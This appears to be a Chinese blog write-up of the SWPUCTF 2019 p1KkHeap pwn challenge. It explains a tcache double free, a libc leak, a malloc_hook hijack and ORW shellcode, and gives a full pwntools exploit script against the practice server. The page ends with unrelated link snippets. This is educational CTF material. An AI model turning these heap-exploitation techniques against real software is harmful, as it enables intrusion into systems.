【pwn】SWPUCTF_2019_p1KkHeap

2021 ctfshow 月饼杯 pwn 简单的胖 显然就是一个简单的栈溢出,但是问题是还是不知道libc。 试了半天libc是2.27的,但是2.27的ibc又会有一个栈对齐的问题。 调试调试给它对齐就行。 有好几处需要栈对齐。 exp from pwn import* context.log_level = "debug" context.terminal = ['tmux', 'splitw', '-h'] r = process("yb1") elf = ELF("./yb1") libc = ELF("./64/libc-2.27.so.. 阅读详情

libc-2.27.so下的一道tcache堆题。
例行检查
在这里插入图片描述
保护全开。
分析程序,在进入菜单之前,有一个函数跟入查看。
在这里插入图片描述
注意到这边用mmap函数在0x66660000映射了一块大小为0x1000的内存空间,权限是rwx。然后用prctl函数做了一个沙箱。我们查看以下禁用了什么调用。
在这里插入图片描述
可见execve被禁用,于是system函数和onegadget都不可行。于是就只能自己将shellcode(orw)写到0x66660000这个内存空间上,然后再想办法劫持到这边运行。
接下来分析菜单,漏洞存在于free后,有个uaf。
利用方法
1.泄露Libc地址
由于tcache也是一个链栈,且不检查double free利用起来更方便了,我们想要劫持malloc_hook就要泄露libc地址,一般可以使用unsortbin attack。但是这个题只让free三次,想要将tcache填满,然后free进unsortbin是不可能的。但是tcache->count是一个无符号类型的数据,我们在double free后tcache成环,那么就可以一直malloc这一块地方内存,使tcache->count变为负数(实际上是很大的正数)。这样再free时就不会进入tcache中,而是进入unsort bin中,这样可以得到libc地址。
2.malloc任意地址
由于tcache不check大小,所以可以通过修改tcache_entry就可以malloc任意地址。那么就可以分配到malloc_hook以及0x66660000。
3.向0x66660000写shellcode
由于execve被禁,所以通过orw来读取flag。
4.将malloc_hook覆盖为0x66660000
在下一次malloc时,跳转到0x66660000执行shellcode。

from pwn import *
context.arch='amd64'

def add(size):
    io.recvuntil('Choice:')
    io.sendline('1')
    io.recvuntil('size:')
    io.sendline(str(size))

def show(idx):
    io.recvuntil('Choice:')
    io.sendline('2')
    io.recvuntil('id:')
    io.sendline(str(idx))    

def free(idx):
    io.recvuntil('Choice:')
    io.sendline('4')
    io.recvuntil('id:')
    io.sendline(str(idx))

def edit(idx,data):
    io.recvuntil('Choice:')
    io.sendline('3')
    io.recvuntil('id:')
    io.sendline(str(idx))
    io.recvuntil('content:')
    io.send(data)

io=remote('node3.buuoj.cn',25705)

add(0x100)#0
add(0x100)#1
#tcache_dup
free(1)
free(1)
#1_chunk get tcache_entry
show(1)
io.recvuntil('content: ')
first_chunk=u64(io.recv(6).ljust(8,'\x00'))
tcache_entry=first_chunk-0x198-0x110
print(hex(tcache_entry))
#edit fd -> tache_entry
add(0x100)#2
edit(2,p64(tcache_entry))
add(0x100)#3 
add(0x100)#4 get tcache_entry
rwx_add=0x66660000
edit(4,p64(rwx_add))#edit tcache_entry
add(0x100) #5 get rwx memory
#write shellcode
shellcode=shellcraft.amd64.open('flag')
shellcode+=shellcraft.amd64.read(3,0x66660300,64)
shellcode+=shellcraft.amd64.write(1,0x66660300,64)
edit(5,asm(shellcode))
#tcache_count is -1(0xff) now
#unsortbin attack
free(0)
show(0)
io.recvuntil('content: ')
libc_base=u64(io.recv(6).ljust(8,'\x00'))-0x3ebca0
print(hex(libc_base))
#malloc_hijack
malloc_hook=libc_base+0x3ebc30
edit(4,p64(malloc_hook))#edit tcache_entry
add(0x100) #6 get malloc_hook
edit(6,p64(rwx_add))
#getflag
add(0x100)
io.interactive()
buuoj Pwn writeup 131-135 131 starctf_2019_babyshell 保护 132 SWPUCTF_2019_p1KkHeap 保护 133 ciscn_2019_s_6 保护 134 [2020 新春红包题]3 保护 135 hitcon_2018_children_tcache 保护 阅读详情

相关推荐

BUUCTF-PWN刷题记录-11

目录wustctf2020_name_your_cat wustctf2020_name_your_cat

weixin_44145820的博客 1049

[总结型]记CTF PWN中过气的堆利用

目录前言不再好用的unsorted bin attack不可能的tcache double free 前言 how2heap(https://github.com/shellphish/how2heap)可以说是目前"权威"的glibc中的heap exploitation techniques文档。在学术界近年的一些顶会文章也有引用这个github项目。 攻防对抗是一直持续发展的,很容易在学习中,复现一些过时的攻击技术出现困难,原因就是已经有补丁打上了。本文大致总结一些在比赛中常见的过时技术,持续更新…吧

easy_level1的博客 2227

BUUCTF-PWN刷题记录-24 & libc-2.29学习(下)

目录[2020 新春红包题]3 [2020 新春红包题]3

weixin_44145820的博客 1289

2021 ciscn-pwn 初赛

2021全国大学生信息安全竞赛-pwny_init 分析 mainreadwrite这个程序其实就是两个核心函数,和名字一样,因为操作的fd指针是个随机参数文件,我们通过修改fd指针为0,也就是控制台就可以实现任意读写了,那么程序就简单了很简单我们看这个这里组的偏移是由我们决定的且没有大小限制(是int64类型的变量)。ok看看bss段qword_202060和随机函数的fd指针只相差0x100偏移,那么就可以间接的控制fd为0了,具体利用如下: 这里就可以将fd置为0,我也是gdb调试调试着就发现的,仔细

csdn546229768的博客 873

BUUCTF-PWN刷题记录-8

目录roarctf_2019_realloc_magic roarctf_2019_realloc_magic

weixin_44145820的博客 1100

0ctf-2017-pwn-char-libc.so

2017年0ctf的pwn题char的libc库文件

2021春秋杯pwn题目大解析

目录 dou_like_pwn libc 漏洞 思路 exp 双边协议@1.5 程序分析 漏洞 思路 EXP dou_like_pwn libc 2.27的libc ld在这里下载 http://archlinux.arkena.net/archive/packages/a/aarch64-linux-gnu-glibc/ 漏洞 功能2只检查了a1<=2, a1可以是负数, 因此产生越界 思路 PtrArr前面一个回环指针 先Read2B修改..

MachineGunJoe666 1139

pwn题目中的libc-2.27.so文件

做pwn题,有些时候题目不给这个文件,这里是这个库的文件。

buuctf-pwn-刷题5

每天一把,每周七把,持续更新ing QWQ!简单的事情重复做,你就是专家;重复的事情用心做,你就是赢家。

2402_89112669的博客 404

ret2libc2pwn 入门题

pwn 入门题

乐鑫ESP32-C6产测全流程:RAM固件测试与阈值校准实战指南

Wi-Fi模组量产测试是保障IoT设备射频性能与硬件可靠性的关键环节,其核心在于基于RAM的无损固件加载、可配置的阈值判定机制及多工位协同控制。该流程依托串口协议与结构化配置(如JSON阈值文件、.bin测试固件),实现RF性能(fb_rssi、tx_power)、GPIO导通性、Flash ID识别与固件版本校验等原子化测试项的自动化执行。技术价值体现在避免Flash擦写风险、支持动态温补与在线学习校准,并无缝对接MES系统实现质量数据闭环。典型应用场景包括ESP32-C6/C3/S2等乐鑫全系Wi-Fi

weixin_35756690的博客 311

函数的工作原理与系统调用

详细描述了动态链接程序的执行过程,包括从execve系统调用开始,经过fork、sys_execve、do_execve、search_binary_handler、load_elf_binary等一系列系统调用和函数调用,最终加载动态链接库并执行main函数。函数执行完毕后,先恢复ebp的值(通过pop指令),然后执行ret指令,该指令会将返回地址从栈顶弹出并跳转到调用方继续执行,同时调用方需要手动调整栈指针以平衡栈(通过add指令)。这个过程涉及到多个系统调用和程序加载步骤。

2301_81713863的博客 747

红外气体检测方案解析:从NDIR原理到物联网终端设计实践

气体检测是工业安全与环境监测的核心需求,其技术原理主要基于气体分子对特定物理或化学信号的响应。非色散红外(NDIR)技术作为一种物理检测方法,通过测量气体分子对特定波长红外光的吸收来定量浓度,因其不依赖化学反应,具备寿命长、抗干扰强和响应快等优势。在工程实践中,红外气体检测方案的价值在于为物联网终端设备提供了高可靠、低功耗的感知能力,广泛应用于工业过程监控、环境空气质量监测以及智能家居安全预警等场景。本文以一套集成了Microchip MCU、Axetris红外光源和Pyreos热释电传感器的参考设计为例,

weixin_30954817的博客 393

(BUUCTF)gwctf_2019_shellcode

BUUCTF的gwctf_2019_shellcode题解

xy1458214551的博客 729

MIPI DSI2接口开发避坑指南:以RK3576的GM8775C桥接芯片调试为例

本文以RK3576平台搭配GM8775C桥接芯片为例,深入剖析MIPI DSI2接口开发中的常见问题与解决方案。文章详细解读了从U-Boot阶段到内核DRM驱动架构的完整显示通路构建,重点分享了电源时序管理、寄存器配置与硬件协同调试等实战经验,为嵌入式显示系统开发者提供了一套系统化的避坑指南和调试方**。

weixin_29290379的博客 329

手把手教你用微信小程序实现智能硬件音视频通话(含Linux/RTOS适配)

本文详细介绍了如何利用微信小程序硬件框架(WMPF)和音视频SDK,在智能硬件(包括Linux与RTOS设备)上实现音视频通话功能。文章从架构设计、设备端SDK集成、小程序VOIP插件开发到跨平台调试与性能优化,提供了全链路实战指南,帮助开发者打通微信小程序与嵌入式设备间的实时音视频通信。

ooo22的博客 329

SWPUCTF_2019_p1KkHeap

SWPUCTF_2019_p1KkHeap 查看保护 开了沙盒,用orw来读即可。 这里mmap了0x66660000这一段内存rwx权限。所以我们可以将shellcode放入这里。 一个uaf漏洞 攻击思路:因为有一个uaf,便是delete只能用三次。所以可以考虑攻击tcache这个结构体。然后劫持这个结构体实现任意地址分配 1.首先需要泄露一个heap_addr用这个heap_addr来计算出tcache的地址。创建的堆块超过fatstbin的大小即可。 这里笔者选的是0x100 2.泄露出了

z1r0的博客 337

NSGA-III相关笔记

NSGA-III目录目的区别NSGA-III的算法流程非支配排序详解归一化详解 目录 NSGA-III基于matlab的实现 参考文献 1.An Evolutionary Many-Objective Optimization Algorithm Using Reference-point Based Non-dominated Sorting Approach,Part I: Solving P...

weixin_42555400的博客 1万+

PWN题型之Ret2Libc

文章目录前言0x1 :使用前提条件0x2 :为什么要这么使用0x3 :使用方法0x4 :实例二、使用步骤总结 前言 菜鸡总结,如有不对,请指点 0x1 :使用前提条件 查看保护:开启了NX保护,但是没有开启PLE保护,可以开启canary保护。但是这样就是两种题型结合了。 打开IDA查看源代码:存在溢出条件,但是没有system函数(/bin/sh)和 flag字样。 ` 0x2 :为什么要这么使用 由于缺少system函数,所以需要构造shellcode。但是开启了NX保护(可执行的不可修改,可修改不可执

swedsn 6781

2026基金本子新规必看!聚焦四大底层问题,利用AI辅助分别破解提升中标率

我拟申报的研究主题为【明确的研究主题或关键词组合】。选题方向也是评审专家关注的核心之一,申报前可以检索近五年领域前人中标项目,分析现有研究的空白与不足,并结合自身研究基础选择 “人无我有、人有我优” 的细分方向,如果是交叉学科选题,则要阐述不同学科的融合逻辑与创新点。“推动国家战略”、“带来行业发展”等宏观表述,有很多同仁都喜欢用这类话术开篇,但实际上宏大叙事无法替代具体的真实科学问题,明确不了研究要解决的核心痛点,更没有说明问题的现实针对性,评审看了往往抓不到研究的核心价值。

智能AI让学术科研更容易 294

YOLOv5入门实践(1)——手把手带你环境配置搭建

YOLOv5入门实践第一步,手把手带你配置环境

路人贾的博客 2万+

SWPUCTF_2019_p1KkHeap【buu刷题】

SWPUCTF_2019_p1KkHeap【buu刷题】

m0_73756460的博客 238

海康DS-7604N-K1/RTB固件包

【摘要】海康DS-7604N-K1/RTB萤石云设备发布V4.30.091版本升级程序(2022.09.19),仅适用于指定型号。升级前需先升级至V3.4.106基础版本,刷机会重置设备为未激活状态,需重新设置admin密码。该机型支持密码/手势登录,无密码时可通过U盘升级。注意事项:升级存在风险,需确认程序适用性;升级过程严禁断电;必须阅读压缩包内的刷机说明。此为定制机型,非必要不建议升级。(150字)

海康威视技术支持 1575

tcache 利用 part2

Challenge 2 : HITCON 2018 PWN baby_tcache 题目 题目 exp CTFtime 上提供的 基本信息 远程环境中的 libc 是 libc-2.27.so 和上面的题目一样。 zj@zj-virtual-machine:~/c_study/hitcon2018/pwn1$ checksec ./baby_tcache [*] '/home/zj/c_study...

zhangji 639

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

swpuctf2019 p1KkHeap 详细题解

p1KkHeap 这是swpuctf2019的一题,让我们来详细分析一下 本题的知识点:tcache bin,unsorted bin,malloc hook 首先,我们检查一下程序的保护机制,发现保护全开 然后,我们用IDA分析一下 最大允许创建0x100的堆,并且最多有8个堆 漏洞点在这里,free后,只把大小置为0,而没有把堆指针置为0,存在UAF漏洞 本题,del...

seaaseesa的博客 1672

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

一篇文章彻底清楚shellcode(精品)

shellcode 类题目 文章目录shellcode 类题目1.没开沙箱(此时我们可以系统调用get shell)picoctf_2018_shellcodemrctf2020_shellcode2.开启沙箱(orw读flag)gwctf_2019_shellcode 1.没开沙箱(此时我们可以系统调用get shell) (一)32位程序系统调用 32位程序有别于64位程序,32位通过栈传参,我们常用的寄存器有4个数据寄存器(eax,ebx,ecx,edx),2个变址寄存器(esi,edi),2个指针寄

weixin_51055545的博客 9374

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

上一篇: 【pwn】gwctf_2019_easy_pwn
下一篇: 【pwn】 0ctf_2017_babyheap
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值